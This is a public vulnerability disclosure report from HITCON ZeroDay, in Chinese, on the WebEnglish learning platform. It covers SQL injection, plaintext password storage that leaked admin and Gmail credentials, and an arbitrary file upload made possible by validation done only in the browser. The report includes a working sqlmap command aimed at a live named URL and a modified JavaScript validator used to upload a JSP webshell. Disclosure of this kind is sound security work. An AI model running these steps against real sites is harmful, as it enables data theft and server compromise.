韋博數位 Web English學習平台 SQLInjection、訊息洩漏、任意檔案上傳等多種弱點 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-00506
  •  發信 Vendor: 韋博數位有限公司
  • Title: 韋博數位 Web English學習平台 SQLInjection、訊息洩漏、任意檔案上傳等多種弱點
  • Introduction: 未對輸入參數進行良好處理導致

處理狀態

目前狀態

公開
Last Update : 2024/06/08
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2024/05/04 11:00:08 : 新提交 (由 Whale120 更新此狀態)
  • 2024/05/04 11:23:42 : 新提交 (由 Whale120 更新此狀態)
  • 2024/05/04 11:24:00 : 新提交 (由 Whale120 更新此狀態)
  • 2024/05/04 11:43:32 : 新提交 (由 Whale120 更新此狀態)
  • 2024/05/04 11:51:33 : 新提交 (由 Whale120 更新此狀態)
  • 2024/05/04 12:14:25 : 新提交 (由 Whale120 更新此狀態)
  • 2024/05/07 10:25:55 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/07 21:58:31 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/07 21:58:31 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/07 21:58:31 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/08 12:32:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/08 12:32:35 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/08 12:32:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/21 22:23:00 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/06/08 03:00:23 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-00506
  • 通報者:WH_ALE (Whale120)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://ecourse.webenglish.tv/
https://bu.webenglish.tv/login.jsp
https://tccs8.webenglish.tv/
https://webenglish.cjcu.edu.tw/
https://elearning.webenglish.tv/
https://scgs.webenglish.tv/

敘述

前言

webenglish旗下有多種服務,經由google瀏覽器便可發現許多,其餘還有許多無法查詢到的相同服務,建議統一處理
而通報弱點目前看到最嚴重者為:貴單位郵件帳號密碼洩漏。

SQL Injection與訊息洩漏

首先,利用dirsearch路徑掃描工具發現/report.jsp的路徑,當中紀錄了各個帳號的登入時長等資訊(這也是不合理的),藉由原始碼找到子路徑/main-016.jsp?gid=&datebox1=2024-05-04&datebox2=2024-05-04&uname=&realname=
推測是利用抓取SQL資料生成excel檔案,直接利用注入工具sqlmap進行嘗試:
Payload

sqlmap -u 'https://ecourse.webenglish.tv/main-016.jsp?gid=&datebox1=2024-05-04&datebox2=2024-05-04&uname=&realname=' --dbs  --random-agent

圖片
成功注入,獲得資料庫資訊

此外,資料庫中密碼明文儲存,獲得admin密碼後可以登入/admin的路徑
進而於獲得此單位gmail帳號密碼
圖片

任意檔案上傳

在使用者資訊處發現可以上傳個人圖像:
圖片
發現驗證在前端,利用f12開發人員工具打斷點,再到console修改掉判斷即可:
Payload

checkForm=function(){
            re = /^[A-Za-z]*$/; 
            re1 =  /^[\d|a-zA-Z]+$/; 

            if(document.getElementsByName("pwd")[0].value != "")
            {
                if (document.getElementsByName("pwd")[0].value.length < 4){
                    alert("密碼長度為4-10個字元的英文或數字組合?!");
                    document.getElementsByName("pwd")[0].focus();
                    return false;
                }

                if (!re1.test(document.getElementsByName("pwd")[0].value)) {  
             alert("密碼需為英文或數字組合?!");  
             document.getElementsByName("pwd")[0].focus();
                     return false;
            }  

                if (!checkPWD(document.getElementsByName("pwd")[0].value,document.getElementsByName("cpwd")[0].value)){
            alert("確認密碼與新密碼不符合?!");
            document.mgr.cpwd.focus();
            return false;
            }
            }

            if (document.getElementsByName("pswHint")[0].value == "")
            {
                alert("密碼提醒不能為空?!");
                document.getElementsByName("pswHint")[0].focus();
                return false;
            }

            if (!re1.test(document.getElementsByName("pswHint")[0].value)) 
            {  
                alert("密碼提醒需為英文或數字組合?!");  
          document.getElementsByName("pswHint")[0].focus();
                return false;
            }

            /*
            if (document.getElementsByName("nickName")[0].value == ""){
                alert("暱稱不能為空?!");
                document.getElementsByName("nickName")[0].focus();
                return false;
            }

            if(!re.test(document.getElementsByName("nickName")[0].value)){
            alert("暱稱必需為英文字母?!");
            document.getElementsByName("nickName")[0].focus();
                return false;
            }
            */

            if (document.getElementById("image-file").value != ""){
                if (!(document.getElementById("image-file").value.indexOf(".jsp") > 0 
                                || document.getElementById("image-file").value.indexOf(".png") > 0 
                                || document.getElementById("image-file").value.indexOf(".jpg") > 0)) 
        {
                    alert("上傳圖像必需為gif或png或jpg圖檔?!");
                    document.getElementById("image-file").focus();
                    return true;
                }

                if ('files' in document.getElementById("image-file")) {
                    for (var i = 0; i < document.getElementById("image-file").files.length; i++) {
                       var file = document.getElementById("image-file").files[i];
                       if ('size' in file) {
                            if (file.size > 2*1024*1000){
                            alert("上傳圖像大小限制為2MB以下圖檔?!");
                            return false;
                          }
                       }
                    }
                } 
            }

            document.calform1.submit(); 
        }

雖然上傳jsp木馬後並沒有發現可以利用的跡象,但難以確認在遇到更強烈的攻擊或其他的功能是否具有達成RCE的弱點,仍須注意。

修補建議

1.驗證好權限,明確定義哪些資訊管理員才可查看。
2.對輸入進行編碼/過濾,防止SQL Injection。
3.針對檔案上傳請由後端驗證。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;